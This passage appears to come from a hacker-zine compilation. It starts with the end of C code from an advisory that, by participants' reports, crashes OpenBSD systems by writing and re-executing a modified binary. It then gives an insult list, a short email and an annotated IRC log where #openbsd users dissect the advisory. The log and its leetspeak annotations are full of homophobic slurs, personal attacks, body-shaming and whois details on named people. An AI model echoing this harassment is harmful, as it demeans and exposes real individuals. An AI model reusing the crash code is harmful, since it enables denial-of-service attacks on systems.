  3289.    fd = open(CRASH_FILE, O_RDWR | O_CREAT, S_IXUSR);
  3290.    if (fd < 0)
  3291.    {
  3292. perror("main() : open(CRASH_FILE) ");
  3293. exit(-1);
  3294.    }
  3295.  
  3296.    ehdr->a_data += 3;
  3297.  
  3298.    if (write(fd, data, statbuf.st_size) < 0)
  3299.    {
  3300. perror("main() : write() ");
  3301. exit(-1);
  3302.    }
  3303.  
  3304.    close(fd);
  3305.  
  3306.    if (execlp(CRASH_FILE, NULL) < 0)
  3307.    {
  3308. perror("main() : execlp() ");
  3309. exit(-1);
  3310.    }
  3311.  
  3312.    return (0);
  3313. }
  3314.  
  3315.  
  3316. Section 5 [TO HELL WITH YOU'S]:
  3317.  
  3318.         Theo de Raadt and the OpenBSD Team
  3319.  
  3320.         Paedophiles
  3321.  
  3322.         Rascists
  3323.  
  3324.         All of #kkk on undernet
  3325.  
  3326.         All of the people who disturb my channel
  3327.  
  3328.         BoW
  3329.  
  3330.         frys / prophet
  3331.  
  3332.         b0g
  3333.  
  3334.         Scriptkiddies all over the place
  3335.  
  3336.         obecian
  3337.  
  3338.  
  3339. Section 6 [Come 1 Come ALL]:
  3340.  
  3341.         Team Hackphreak invites you to undernet #hackphreak for a great
  3342.         learning experience. Just join us to teach and learn. But remember,
  3343.         HARASSMENT = BAN. www.hackphreak.org/newbie.
  3344.  
  3345.  
  3346. Section 7 [Lies]:
  3347.  
  3348.         I hope this advisory brings you closer to NT / Linux, rather than
  3349.         OpenBSD. Linux & NT are way better anyway.
  3350. [END_CUT] hp2.adv
  3351.  
  3352. [CUT_HERE] funny_eMale
  3353. From: "Condemned.org" <rloxley@condemned.org>
  3354. To: "John Kerbawy" <john@maKintosh.com>
  3355. References: <20001105173302.A27901@maKintosh.com>
  3356. Subject: Re: webpage.
  3357. Date: Sun, 5 Nov 2000 19:24:20 -0500
  3358. MIME-Version: 1.0
  3359. Content-Type: text/plain;
  3360.         charset="iso-8859-1"
  3361. Content-Transfer-Encoding: 7bit
  3362. X-Priority: 3
  3363. X-MSMail-Priority: Normal
  3364. X-Mailer: Microsoft Outlook Express 5.00.2919.6700
  3365. X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
  3366.  
  3367. not sure what you are thinking, but that is PERFECT grammer.
  3368.  
  3369. RL
  3370. ----- Original Message -----
  3371. From: "John Kerbawy" <john@maKintosh.com>
  3372. To: <rloxley@hackphreak.org>
  3373. Sent: Sunday, November 05, 2000 6:33 PM
  3374. Subject: webpage.
  3375.  
  3376.  
  3377. > Someone is missing grammar clue.
  3378. >
  3379. > ---- http://www.hackphreak.org/rules/ ----
  3380. >
  3381. > 4: NO ADVERTISING IN THE CHANNEL OR IT'S TITLE BAR.
  3382. >                                     ^^^^
  3383. >
  3384. > No advertising in the channel or it is title bar?
  3385. >
  3386. > oops.
  3387. >
  3388. > __
  3389. > John Kerbawy <john@maKintosh.com>
  3390. >
  3391. [END_CUT] funny_eMale
  3392.  
  3393. [CUT_HERE] irclogs
  3394. \xf9\xed\xf9 Starting logfile IrcLog
  3395. \xf9\xed\xf9 Topic (#openbsd): http://www.OpenBSD.org
  3396. \xf9\xed\xf9 Topic (#openbsd): set by john at Sat Nov  4 19:06:39 2000
  3397. \xf9\xed\xf9 [Users(#openbsd:63)]
  3398. [ ~el8      ] [ opcode    ] [ influx_   ] [ carica    ] [ Intrinsic ]
  3399. [ niekze    ] [ slipdisc  ] [ kahl      ] [@obecian   ] [ pdo       ]
  3400. [ sizaym    ] [ GoatBoy   ] [ cell      ] [@toor      ] [@jeremie   ]
  3401. [ binfalse  ] [@Ambrose   ] [ [rew]     ] [ desti     ] [ mollusk   ]
  3402. [@dhartmei  ] [ motorola- ] [ bn-       ] [ loxariz   ] [ _preD     ]
  3403. [ StJohn    ] [ gk        ] [@Figz      ] [ nj        ] [ marc      ]
  3404. [@hydro__   ] [@ActivatE  ] [ joe-      ] [ danp      ] [@fx        ]
  3405. [ ~el8      ] [ phidias   ] [ Setzer    ] [ bugoid    ] [@uux-      ]
  3406. [ tibim     ] [ J0hnBlaze ] [ Slower    ] [ sariel    ] [@john      ]
  3407. [ genecyst  ] [ mogambo   ] [ rwxr--r-- ] [ majidf    ] [ jwit      ]
  3408. [ GreyFoxx  ] [ TAiNiUM   ] [@SmooveB   ] [ [frank]   ] [ jethro    ]
  3409. [ ratcorpse ] [ cazz      ] [ kajar     ] [ malte__   ] [ ar        ]
  3410. [ Creamore  ] [ _mojo     ] [@spuug     ] [ rys       ]
  3411. \xf9\xed\xf9 [Users(#openbsd:0)]
  3412. \xf9\xed\xf9 ~el8 [~el8@~el8.com] has joined #openbsd
  3413. <rys:#openbsd> m3th: no clue.. running current?
  3414. <m3th:#openbsd> 2.7 yes
  3415. <rys:#openbsd> 2.7 stable or openbsd-current?
  3416. \xf9\xed\xf9 SignOff m3th: #OpenBSD (Read error 73: Connection reset by peer)
  3417. \xf9\xed\xf9 m3th [meth@bofh.bestweb.net] has joined #openbsd
  3418. <m3th:#openbsd> let me find a similar system, see if i can find the file
  3419. \xf9\xed\xf9 ^BBitchX^B: You are now talking to channel #Openbsd
  3420. \xf9\xed\xf9 ~el8 [~el8@~el8.net] has joined #openbsd
  3421. <~el8> Hello, I was wondering if there is a patch for the local root exploit for OpenBSD (the one on packetstorm) ? And is it remote ?
  3422. \xf9\xed\xf9 laggn [operand@1Cust5.tnt2.roanoke.va.da.uu.net] has joined #openbsd
  3423. <~el8> It says 'Vendor notified'
  3424. <~el8> And I don't see any vendor patches..
  3425. <laggn> when i go to the ftp mirrors and cd 2.8 there are no install files..is there an ftp that i can go to that has the 2.8 install files?
  3426. [cell_X(blah@38.195.196.53)] just strip off the suid bit
  3427. <rys> ~el8: hold on
  3428. | rys (rys@supernal.godsey.net) (Internic Network)
  3429. \xb3 ircname  : Joe
  3430. | channels : #openbsd #Icons_of_Vanity
  3431. \xb3 server   : irc.west.gblx.net (Global Crossing West Client Server)
  3432. | away     : rys - gone
  3433. : idle     : 0 hours 0 mins 10 secs (signon: Sun Nov  5 11:54:14 2000)
  3434. <DesertFox> hi all
  3435. <dhartmei> ~el8: which one? libutil was fixed long ago.
  3436. <DesertFox> rys: there aren't any.
  3437. <cell_X> ~el8 are you talking about the /usr/bin/chpass issue..do chmod u-s /usr/bin/chpass
  3438. <DesertFox> rys: i'm running 2.8 and i got it out of the snapshots dir
  3439. <~el8> Nope
  3440. <~el82> i see an advisory on the front page of packetstorm
  3441. <laggn> rys : yes, i see it there :)
  3442. <~el8> ~el82, yes, that is what I speak of
  3443. <~el8> I don't quite understand it, to tell you the truth
  3444. <cell_X> grr..wrong answer..
  3445. <cell_X> =)
  3446. <dhartmei> ~el82: url?
  3447. <~el82> packetstorm.securify.com
  3448. <~el83> theo is gay
  3449. <~el83> theo is gay
  3450. <~el83> theo is gay
  3451. <rys> yes he is but this channel is about openbsd not theo
  3452. <rys> just kidding
  3453. \xf9\xed\xf9 ~el83 [~el83@~el83.net] has left #openbsd []
  3454. <~el82> i dunnno
  3455. \xf9\xed\xf9 SignOff Brandon`: #Phrack ()
  3456. \xf9\xed\xf9 mode/#openbsd [+b *!*@*.eurocompton.net] by dhartmei
  3457. <rys> uh
  3458. <dhartmei> ~el82: where do you see obsd mentioned there? link to the specific article?
  3459. <DesertFox> from what i hear, theo's somewhat crabby.
  3460. <rys> http://packetstorm.securify.com/0011-exploits/hp2.adv
  3461. <spuug> theo is not gay.
  3462. <rys> theo is somewhat crabby
  3463. <rys> bit my head off like 1 1/2 years ago
  3464. <~el82> dhart: rys pasted
  3465. | dhartmei (~dhartmei@cable-ggar48-183.intergga.ch) (Switzerland)
  3466. \xb3 ircname  : Daniel Hartmeier <daniel@benzedrine.cx>
  3467. | channels : @#openbsd #compsci @#unixhelp #atheism @#C++ @#c/c++ @#cryptonomicon @#informatik
  3468. \xb3 server   : irc.light.se (It's alive, it's AAALIIIIVEEE)
  3469.  
  3470.     *** OBSDCMNT : ke4p n0te of th1z guy hez supr l4me ***
  3471.  
  3472. <laggn> DesertFox : exploit using ddb
  3473. <rys> regarding that sploit on packetstorm, obviously the author doesn't know what a "local root exploit" is
  3474. <DesertFox> hmm...the advisory insults openbsd, and says NT and Linux are better.
  3475. <rys> a local root exploit is not the ability to "crash the kernel"
  3476. \xf9\xed\xf9 SignOff m3th: #OpenBSD (Read error 73: Connection reset by peer)
  3477. <rys> christ i could do that with a fork bomb
  3478.  
  3479.     *** OBSDCMNT : u k0uld r00t obsd w/ a f0rkb0mb ? ***
  3480.  
  3481. \xf9\xed\xf9 dew_freak [~dewfreak@ws037.bt.reshall.wwu.edu] has joined #openbsd
  3482. <laggn> ...rloxley..is that supposed to be robin loxley as in robin hood?
  3483. <DesertFox> rys: perhaps the advsory is fake?
  3484. \xf9\xed\xf9 SignOff binfalse: #OpenBSD (Ping timeout: 180 seconds)
  3485. <DesertFox> rys: otherwise the author likes to bs everything.
  3486. <rys> the author says that after crashing you can use ddb to debug and gain access
  3487. <laggn> DesertFox : im having  a hard time finding it on the athor's site..do you have a url?
  3488. \xf9\xed\xf9 SignOff [rew]: #OpenBSD (irc^BN^B 7.24 + 7.0 for mIRC (2000/03/17 22.00))
  3489. <rys> which is dumb because the system won't drop to ddb unless you have it setup to do so
  3490. <rys> plus, if you have physical access to the box you can boot -s
  3491. <rys> and then change the root password..
  3492. <DesertFox> laggn: didn't see a url...
  3493. <rys> so..
  3494. <laggn> DesertFox : they list themselves as coming from hackphreak.org but there is nothing on that site
  3495. <DesertFox> rys: you have to HAVE physical access to use ddb right?
  3496. <DesertFox> laggn: perhaps the advisory is a hoax?
  3497. <rys> DesertFox: after a kernel crash, i do believe so, unless we're talking about the sparc version and you have a remote console via a console server
  3498. <DesertFox> rys: never seen a sparc, never used a spark...
  3499. <DesertFox> oops, "sparc"
  3500. \xf9\xed\xf9 nikhouri [nikhouri@hyrule.student.syr.edu] has joined #openbsd
  3501. <rys> sparcs have the ability to use a com port as console instead of a monitor/keyboard
  3502. <laggn> DesertFox : i don't know..i mean, they don't have anything on their site (it reads like a corp. brochure), and whats the difference between this and booting -s?
  3503. <DesertFox> laggn: um...it requires crashing the kernel?
  3504. \xf9\xed\xf9 SignOff dhartmei: #OpenBSD (Read error: 54 (Connection reset by peer))
  3505. <rys> laggn: probably nothing.. the advisory mentions that you'll need to have physical access..which is quite lame.
  3506. <DesertFox> therefore, this advisory is...
  3507. \xf9\xed\xf9 dhartmei [~dhartmei@cable-ggar48-183.intergga.ch] has joined #openbsd
  3508. <DesertFox> pretty much harmless
  3509. <~el81> Doesn't seem harmless if any user can crash my OpenBSD though, damnit
  3510. <laggn> DesertFox : i guess the code needs to be tested and we'll find out its validity (regardless of how convoluted it is)
  3511. <dhartmei> well, it crashes 2.7 release :)
  3512. <rys> ~el81: any user can crash your openbsd.. fork bomb baby
  3513. \xf9\xed\xf9 mode/#openbsd [+o dhartmei] by Ambrose
  3514. <the_gh0st> rys: true, but setting proccess limits could prevent that. a user can crash any os that way anyhow heh
  3515. <~el81> What about fork bomb protection?
  3516. <opcode> spuug: kdb?
  3517. <DesertFox> dhartmei: what about 2.8?
  3518. <dhartmei> don't have a -current system ready to test
  3519. <~el82> it crashed my 2.6 box....
  3520. <rys> ~el81: try setting a ulimit
  3521. <~el81> Yeah I tested on all of my OpenBSD & one NetBSD, crashed them
  3522. \xf9\xed\xf9 SignOff pent: #OpenBSD (ircII EPIC4-0.9.1 -- Accept no limitations)<rys> i'm looking at the code right now..
  3523. <rys> it's small enough to figure out
  3524.  
  3525.     *** OBSDCMNT : th1s guy k4nt figure it 0ut h4h4 watch u'll s33 ***
  3526.  
  3527. <laggn> man, how could they even mention NT? and are they mentioning linux to cover their bases?
  3528. <dhartmei> they call it a remote exploit: "log in to the remote host, download exploit, run it", lol
  3529. \xf9\xed\xf9 SignOff nikhouri: #OpenBSD (^BBitchX^B: the choice of a GNU generation)
  3530. <DesertFox> this advisory is just really, really funny.
  3531. <rys> uhm
  3532. <rys> it's a fork bomb
  3533. \xf9\xed\xf9 nikhouri [nikhouri@hyrule.student.syr.edu] has joined #openbsd
  3534. <rys> fd = open(argv[0], O_RDONLY)
  3535. <~el82> how is a security hole "funny"
  3536. <rys> fstat(fd)
  3537. <rys> (get the file name)
  3538. <rys> write it to a file
  3539. <dhartmei> and a reference to obecian :)
  3540. <rys> then execute that file
  3541. <rys> well write it's own name to a file
  3542. <rys> then execute it
  3543. <rys> so it's just a bloat program
  3544. <rys> see the execlp at the end?
  3545.  
  3546.     *** OBSDCMNT : execlp() fork() bomb? h4m! ***
  3547.  
  3548. <~el81> It's just a fork bomb? Doesn't say so in the adv, and doesn't seem to be
  3549. <rys> read the code
  3550. <~el81> I did, I don't see fork() in there
  3551. <rys> all it does is stat itself for it's own name
  3552. <rys> well okay it doesn't fork
  3553. <spuug> I'd like to see a pipe(2)bomb.
  3554. <rys> but imagine a program execing itself over and over again
  3555.  
  3556.     *** OBSDCMNT : eye'm im4g1n1ng 1t, d0eznt se4m 2 b s0 b4d ***
  3557.  
  3558. <laggn> hrm, its dinner time, and i am glad that the advisory is just an advertisement for themselves
  3559. <dhartmei> yes, the comments are just utter BS :)
  3560. <laggn> nite all and thanks for pointing me in te right direction rys
  3561. <rys> laggn: np
  3562. <DesertFox> ~el82: no, the way it's written, i'm not say the exploit is funny.
  3563. \xf9\xed\xf9 SignOff laggn: #OpenBSD (take care :))
  3564. <~el81> My boxes all have dropped into ddb
  3565. <rys> ~el81: but to access ddb you need to have physical access to the boxes
  3566. <~el81> Yes I know
  3567. <~el81> But it's still crashing my damn box
  3568. <rys> in which case you could boot -s anyways
  3569. <rys> set a process and memory limit per user
  3570. <rwxr--r--> resource killer = forkbomb == lame
  3571.  
  3572.     *** OBSDCMNT : SIL FROM ANTIOFFLINE == L4M3! BW4H4H ***
  3573.  
  3574. <~el81> This is synonomous to that old arp cache DoS
  3575. <rwxr--r--> you could cat file >> file and do the same
  3576.  
  3577.     *** OBSDCMNT : sure u k0uld p4l ***
  3578.  
  3579. <~el81> Hm, damn, I guess I'll just set limits then
  3580. <~el82> this still crashes all my openbsd boxes... when can i see a fix?
  3581. <rwxr--r--> just will waste the machine's resources and eventually cause a crash ;\
  3582. <rys> 744: would probably take longer though
  3583.  
  3584.     *** OBSDCMNT : h4kr b0nd1ng at 1tz b3st .. "744" ***
  3585.  
  3586. <~el81> and run that forkbomb protector lkm
  3587. \xf9\xed\xf9 SignOff hydro__: #OpenBSD (Idle time limit exceeded)
  3588. <rwxr--r--> rys true ;) i didnt see the original beginning of this thread
  3589. <rys> ~el82: set process and memory limits per user
  3590. <rys> 744: http://packetstorm.securify.com/0011-exploits/hp2.adv
  3591. <rys> fake advisory
  3592.  
  3593.     *** OBSDCMNT : F$KE?! ***
  3594.  
  3595. <rwxr--r--> but from what i do see this is a forkbomb junky script kiddiot rootard script
  3596.  
  3597.     *** OBSDCMNT : ur a m0r0n, *PAL* ***
  3598.  
  3599. \xda\xc4\xc4\xc4\xc4\xc4---\xc4--\xc4\xc4-\xc4\xc4\xc4\xc4\xc4\xc4---\xc4--\xc4\xc4-\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4--- --  -
  3600. | rys (rys@supernal.godsey.net) (Internic Network)
  3601. \xb3 ircname  : Joe
  3602. | channels : #openbsd #Icons_of_Vanity
  3603. \xb3 server   : irc.west.gblx.net (Global Crossing West Client Server)
  3604. : idle     : 0 hours 0 mins 12 secs (signon: Sun Nov  5 11:54:14 2000)
  3605.  
  3606.     *** OBSDCMNT : m4ybe he sh0uld b in #ic0nz_of_stup1dity ***
  3607.  
  3608. <rwxr--r--> bbias will check it now
  3609. \xf9\xed\xf9 tequiare [condor@feather.net] has joined #openbsd
  3610. <rwxr--r--> rys^B:^B its a stupid lame 0-day forkbomb
  3611.  
  3612.     *** OBSDCMNT : 0d4y f0rkb0mb ? wh4t sc3n3 do u bel0ng 2 br0?! ***
  3613.  
  3614. <rys> 744: well it doesn't really fork but yeah your right
  3615. <rwxr--r--> and i still see what this has to do with openbsd
  3616. <rwxr--r--> rys^B:^B resrouce killer
  3617. <rys> 744: seems to be a n advertisment for them
  3618. <dhartmei> the only original thing about it is the description
  3619. <DesertFox> yes...
  3620. <rwxr--r--> i should download it to my openbox and tinker with it but it was written really lame
  3621.  
  3622.     *** OBSDCMNT : du0d ur a fukn idi0t ***
  3623.  
  3624. <rys> yeah hehe
  3625. <DesertFox> too much bs?
  3626. <rwxr--r--> and i dont have time ... besides they put down obecian in it and he's cool as shit so fsck them
  3627. <DesertFox> well, yes, that too.
  3628. <DesertFox> :_
  3629. <DesertFox> oops, :)
  3630. <DesertFox> heh
  3631. <rwxr--r--> theres little intellect in doing that code since you could code a perl script to open up a shitload of resources and do the same
  3632.  
  3633.     *** OBSDCMNT : u #openbsd k0q sukrz r quik to the dr4w, det4ilz bub ***
  3634.  
  3635. <rwxr--r--> without writting all kinds of funky shit in a so calle dadvisory
  3636. <~el82> why doesnt obsd have these ulimits by default?
  3637. <rwxr--r--> i should go pimpslap rloxley
  3638.  
  3639.     *** OBSDCMNT : rl0xley w0uld kiq ur fukn a$$ bytch ***
  3640.  
  3641. <rwxr--r--> ~el82^B:^B i didnt write open so i dont know
  3642. <~el81> Holdon guys, something is bothering me
  3643. <DesertFox> where do you edit the settings?
  3644. <~el81> How could re execve()'n over and over crash your box in 1 microsecond?
  3645. <opcode> haha he tells obecian "to hell with you" specifically..
  3646. <rwxr--r--> but that advisory was half assed as shit... and to quote from the author MY GRANDMOTHER couldve done better
  3647. <~el81> And it doesn't even use fork
  3648. <rys> why would you set ulimits
  3649. <rys> i don't want my x session ending every time i run netscape
  3650. \xf9\xed\xf9 ~el83 [~el83@~el83.net] has joined #openbsd
  3651. <rwxr--r--> anyways... for those sysadmins/sec engineers/fw people I threw up a
  3652. quickie primer for hardware on stopping/slowing down dos attacks
  3653. <dhartmei> the only interesting line is "ehdr->a_data += 3;", what's that for?
  3654.  
  3655.     *** OBSDCMNT : w1ll he succeed?!?!!? ***
  3656.  
  3657. <rys> see struct exec
  3658. <rwxr--r--> if anyone is interested its at www.antioffline.com/stoppingdos.php3
  3659. along with all my other crap
  3660. <bugoid> where did you get those beeyootiful pictures?
  3661. <ratcorpse> rys> 744: http://packetstorm.securify.com/0011-exploits/hp2.adv
  3662. <ratcorpse> <rys> fake advisory
  3663. <ratcorpse> <rwxr--r--> but from what i do see this is a forkbomb junky script kiddiot
  3664. <ratcorpse>             rootard script
  3665. <~el81> Hey, you're that antioffline guy? good work :)
  3666. <ratcorpse> dude
  3667. <ratcorpse> 1-rloxley is a retard
  3668. <ratcorpse> 2-he cant even fucking spell
  3669. <rys> hehe
  3670. <ratcorpse> and its so disgusting that he mentions SSG
  3671. <rwxr--r--> if ( (fd = open("/dev/zero", O_RWDR)) == -0)
  3672. <ratcorpse> Credits       : www.hackphreak.org, zsh.interniq.org, www.subterrain.net    |
  3673. <ratcorpse> oh my god man
  3674. <ratcorpse> he even mentioned US
  3675. <rwxr--r--> print "\nHi 3y3 4m rl0xl3y f34r my scr1pt\n";
  3676.  
  3677.     *** OBSDCMNT : y0u d0nteven kn0w C k1d ***
  3678.  
  3679. <ratcorpse> this is hilarious
  3680. <ratcorpse> ;]
  3681. <ratcorpse> man i feel like puking now
  3682. <dhartmei> exec.a_data /* initialized data size */, why increase it?
  3683.  
  3684.     *** OBSDCMNT : he w0nt get it, sory to sp0il the fun ***
  3685.  
  3686. <ratcorpse> the last thing i want to see is my group written in the same line with hackphreak losers
  3687. <ratcorpse> god damnit
  3688. <dhartmei> to consume more resources?
  3689. <rys> possibly, proably just code bloat
  3690. <opcode> www.sneakerz.org/~rat  ?
  3691. <rwxr--r--> ratcorpse... sinnerz?
  3692. <rwxr--r--> as in coda hale's sinnerz?
  3693. <ratcorpse> nah
  3694. <ratcorpse> zsh
  3695. <ratcorpse> opcode: yes
  3696. <rwxr--r--> ahh thought it was frmo the old sinnerz.com crew
  3697. <ratcorpse> sinnerz is a non-technical channel tho
  3698. <opcode> ZSH (soon) ? hah
  3699. <ratcorpse> nah
  3700. <rwxr--r--> damn my typos suck
  3701. <ratcorpse> zsh is ded
  3702. <ratcorpse> its now lowlevel.interniq.org
  3703. <ratcorpse> dead
  3704. <ratcorpse> man rloxley is soo gay
  3705. <kajar> kicks sil
  3706. <ratcorpse> i cant believ he wrote crap like this and used ppls names to rant
  3707. <rwxr--r--> sup raj :)
  3708. <kajar> just woke up ;) crazy night last night
  3709. \xf9\xed\xf9 SignOff marc-: #OpenBSD (Read error 73: Connection reset by peer)
  3710. \xf9\xed\xf9 marc- [marc@h24-65-26-78.gv.shawcable.net] has joined #openbsd
  3711. <rwxr--r--> hehe shit i didnt go to sleep till it was 7am EST
  3712. <rwxr--r--> and woke up at 9am EST =[ hehehe
  3713. \xf9\xed\xf9 hydro__ [hydro@9mm.com] has joined #openbsd
  3714. <ratcorpse> AHHAHAH
  3715. \xf9\xed\xf9 rwxr--r-- is now known as n1nor_
  3716. <ratcorpse> man
  3717. <ratcorpse> thsi shits hilarious
  3718. \xf9\xed\xf9 mode/#openbsd [+o hydro__] by dhartmei
  3719. <ratcorpse> man oh man
  3720. \xf9\xed\xf9 n1nor_ is now known as slutpuppy
  3721. <rys> haha
  3722. <rys> it only took em a few moments to notice there was an execlp at the bottom
  3723.  
  3724.     *** OBSDCMNT : y4h du0d m0st people m1ss th4t ***
  3725.  
  3726. <ratcorpse> dude
  3727. <rys> and the funny part is at the top..#define CRASH_FILE "./f0rKb0mB"
  3728.  
  3729.     *** OBSDCMNT : d1d we fo0l u fatboy? ***
  3730.  
  3731. <ratcorpse> that guy is a fucking moron
  3732. <rys> hahah
  3733. <ratcorpse> i cant believe he even put caddis and obecian
  3734. <slutpuppy> pfffttt what a fucknut
  3735. <ratcorpse> no shit
  3736. <ratcorpse> ZSH soon
  3737. <ratcorpse> HAHAHHAH
  3738. <ratcorpse> yah shuuure we need some 50 year old 800 lbs morons to code warez with us ;]
  3739. \xf9\xed\xf9 mbhochha [~mbhochha@worm.student.syr.edu] has joined #openbsd
  3740. <dhartmei> i like the explanation of why this is a _remote_ exploit best
  3741. <DesertFox> should we chagne the topic to this?
  3742.  
  3743.     *** OBSDCMNT : eye w1sh u w0uld ***
  3744.  
  3745. <opcode> dhartmei: yes me too.. it all makes so much sense after his 3 point explanation..
  3746. <ratcorpse>   Theo de Raadt and the OpenBSD Team
  3747. <ratcorpse>         Paedophiles
  3748. <ratcorpse>         Rascists
  3749. <ratcorpse> dude
  3750. <ratcorpse> see what a fuckign moron he is ,, he cant even spell 'racist' correct
  3751. <DesertFox> maybe it's because he can't hack OpenBSD!
  3752. <ratcorpse> dude
  3753. <ratcorpse> he cant even root his own box
  3754. <DesertFox> haha
  3755. <ratcorpse> he knows 0
  3756. <rys> hehe i bet he can
  3757. <rys> boot -s
  3758. <DesertFox> i'm still learning...
  3759. <ratcorpse> hes a 50 somehting year old 800 lbs guy
  3760. <ratcorpse> i saw him at defcon
  3761. <~el81> Haha, yeh topic'n this dumb adv would be funny, like dissing the morons who wrote the adv
  3762. <rys> ratcorpse: are you serious?
  3763. <DesertFox> that's very scary...
  3764. <DesertFox> especially the fact that a 50 year old wrote this...
  3765. <opcode> Assume the location of the box which crashed (@ the colo) ?
  3766. <opcode> is he suggesting you break & enter?
  3767. <ratcorpse> rys: i swear to god man
  3768. <dhartmei> if you look at the typos in the comments, it looks like the author is german, and there were peoples that complained here and on the mailinglists that they were not 'properly informed' about the patches.
  3769.  
  3770.     *** OBSDCMNT : d4mn, wh0 fukn c4rez? ***
  3771.  
  3772. <ratcorpse> he even has some pics public
  3773. <ratcorpse> i can understand why he talks shit to zsh but i have no idea why he
  3774. talks shit to obecian
  3775. <DesertFox> move off the advisory for a second, i'm wondering if you have denied access to finger, how do you make it show another filek, instead of "Connection Refused"
  3776. <ratcorpse> like
  3777. <ratcorpse> hes old enuff to be obecians grandfather and obecians left nut has more skill than 100 ppl like him
  3778. <DesertFox> obecian seems like a very nice person.
  3779. <DesertFox> i've talked with him a few times.
  3780. \xf9\xed\xf9 pent [dschwarz@house.beats.org] has joined #openbsd
  3781. <spuug> It must be the fog in Ocean Beach.
  3782. \xf9\xed\xf9 datawar [~dw@esefin1.essex.ac.uk] has joined #openbsd
  3783. \xf9\xed\xf9 SignOff gaurdian: #OpenBSD (Ping timeout: no data for 246 seconds)
  3784. <ratcorpse> packetstorm is gay for letting him submit this shit
  3785.  
  3786.     *** OBSDCMNT : y0u are g4y ***
  3787.  
  3788. <slutpuppy> or echo "i am leet" > /tmp/file
  3789. <DesertFox> wait, how do you make it dislpay a text file?
  3790. <ratcorpse> ;]
  3791. <slutpuppy> finger stream tcp nowait root cat /tmp/file
  3792. <DesertFox> okay.
  3793. <DesertFox> thanks
  3794. \xf9\xed\xf9 nikhouri [nikhouri@hyrule.student.syr.edu] has left #OpenBSD []
  3795. <~el81> Damn, I set limits etc, and it still crashs my OpenBSD's
  3796. <~el81> bbl
  3797. <ratcorpse> <jimjones> how can you greet SSG and say fuck you to obecian
  3798. <ratcorpse> HAHAHH
  3799. <slutpuppy> hahahahahahahahahahahahahaha
  3800. <slutpuppy> http://www.attrition.org/mirror/attrition/2000/04/16/www.i-need-help.com/  <--- rloxley the hacker
  3801. <slutpuppy> pfft script kiddiot
  3802. <john> sigh.
  3803. <rys> john you been watching?
  3804. <rys> hehe
  3805. <john> No.
  3806. \xf9\xed\xf9 mode/#openbsd [+m] by john
  3807. <john> woo.
  3808. \xf9\xed\xf9 mode/#openbsd [+o kahl] by john
  3809. <toor> john
  3810. <toor> bend over dude
  3811. \xf9\xed\xf9 mbhochha [~mbhochha@worm.student.syr.edu] has joined #openbsd
  3812. <john> ;9
  3813. <toor> i have a hard something to shove up in your gaping orifice
  3814. \xf9\xed\xf9 mode/#openbsd [-m] by john
  3815. <john> n0 thx!
  3816. <toor> plz :(
  3817. <toor> its not like 90% of #OpenBSD hasn't been there :P
  3818. <toor> brb ;)
  3819. <rys> john you seen the fake advisory on packetstorm?
  3820.  
  3821.     *** OBSDCMNT : F4KE?! ***
  3822.  
  3823. <john> No.
  3824. <john> URL?
  3825. <rys> http://packetstorm.securify.com
  3826. <rys> top right column (hp2.adv)
  3827. <rys> it's a resource eater
  3828.  
  3829.     *** OBSDCMNT : UR N0T 2 SM4RT ***
  3830.  
  3831. <john> That mouseover shit is lame.
  3832. <ratcorpse> ddue its so gay
  3833. <ratcorpse> packetstorm releases anythig u send
  3834. <ratcorpse> w/o checking
  3835. <rys> hehe i released something on the original packetstorm and the guy posted it
  3836. <rys> lame perl script.. he even thanked me..
  3837. <rys> then antionline killed it
  3838. <ratcorpse> the funniest part his where he greets ssg and says fuck you to obecian
  3839. <rys> heh
  3840. <ratcorpse> hahahh
  3841. <ratcorpse> rloxgay is tryint to rant on our name
  3842. <ratcorpse> and slander us
  3843. <ratcorpse> ;thanks for zsh for the scripts' heh
  3844.  
  3845.     *** OBSDCMNT : AREN'T Y0U ALRE4DY SL4ND3RD?! ***
  3846.  
  3847. <slutpuppy> welp... mickeysoft was owned again it seems
  3848. <slutpuppy> hehehe http://www.infoworld.com/articles/hn/xml/00/11/03/001103hnhacker.xml
  3849. <john> What the hell is the deal?
  3850. \xf9\xed\xf9 nosaj [jason@codemonkey.net] has joined #openbsd
  3851. <john> haha.
  3852. <john> 4: NO ADVERTISING IN THE CHANNEL OR IT'\x92S TITLE BAR.
  3853. \xf0 john/#OpenBSD sends grammar.clue -> hackphreak.org
  3854. <slutpuppy> sorry john
  3855. <slutpuppy> doh i thought you mant me for posting that url
  3856. <john> Well.
  3857. <john> You fuckers can't put a sentence together either.
  3858. <rys> haha
  3859. <mogambo> heh
  3860. \xf9\xed\xf9 SignOff xdm: #Phrack (Ping timeout: 180 seconds)
  3861. \xf9\xed\xf9 shinobi [shinobi@naughty.monkey.org] has joined #openbsd
  3862. <ratcorpse> john did you seee the fake advisory
  3863. <ratcorpse> man i dont know what this retard is trying to do
  3864. <john> What's fake about it?
  3865. <rys> it claims to be a remote exploit
  3866. <ratcorpse> look at the code man
  3867. <rys> it's just a resource eater
  3868. <ratcorpse> if you look at the crap he wrote in the beginning ull see its fake
  3869. <ratcorpse> before you even see the code
  3870. <dhartmei> read the explanation of why it's supposed to be a remote exploit :)
  3871. <ratcorpse> SG helped during the researching of the bug (bind, aempire, cripto).<ratcorpse> I would like to thank RootShellHackers and Team ZSH for rigorously
  3872.             testing on many freenets :] (ratcorpse and her great mass testing
  3873. <ratcorpse>         scripts, great for analysis: www.sneakerz.org/~rat < great site :)
  3874. <ratcorpse> lies
  3875. <ratcorpse> he put us and gay deface kids together in the same sentence
  3876. <ratcorpse> he even put solar designer
  3877. <ratcorpse> and i never coded a mass resolution script
  3878. <ratcorpse> its jim's script
  3879. <ratcorpse> haaahah
  3880.  
  3881.     *** OBSDCMNT : at th1s point im gonna st0p doing commentz ***
  3882.  
  3883. \xf9\xed\xf9 SignOff mbhochha: #OpenBSD (Ping timeout: 180 seconds)
  3884. <ratcorpse> that idiot is just senile
  3885. <dhartmei> so, packetstorm publishes any submission without checking it at all?
  3886. so much for that.
  3887. <ratcorpse>         Basically, if the (sz & (PAGE_SIZE-1)) is true, the kernel
  3888. <mmap`> I was wondering
  3889. <ratcorpse> panic()'s. Not so cool Mr. Theo, my grandmother wouldn't even have
  3890. <ratcorpse> done something so stupid and all she has is an A+ and CCNA!
  3891. <mmap`> how come bind9 coredumps in a chroot
  3892. <ratcorpse> thsis is hilarious man
  3893. <mmap`> like chroot /home/dns /bin/named -u -g, it runs, 4 secs after, it coredumps.
  3894. <mmap`> heh
  3895. <john> du0d.
